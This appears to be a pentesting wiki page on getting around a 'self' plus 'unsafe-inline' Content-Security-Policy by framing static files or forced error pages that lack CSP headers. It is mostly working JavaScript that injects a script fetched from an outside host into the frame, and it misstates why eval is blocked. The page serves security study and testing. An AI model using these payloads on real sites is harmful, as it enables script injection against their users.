# CSP bypass: self + 'unsafe-inline' with Iframes
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A configuration such as:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
#### Via Text & Images
It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
```
#### Via Errors
Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
```
After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
```javascript
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
```
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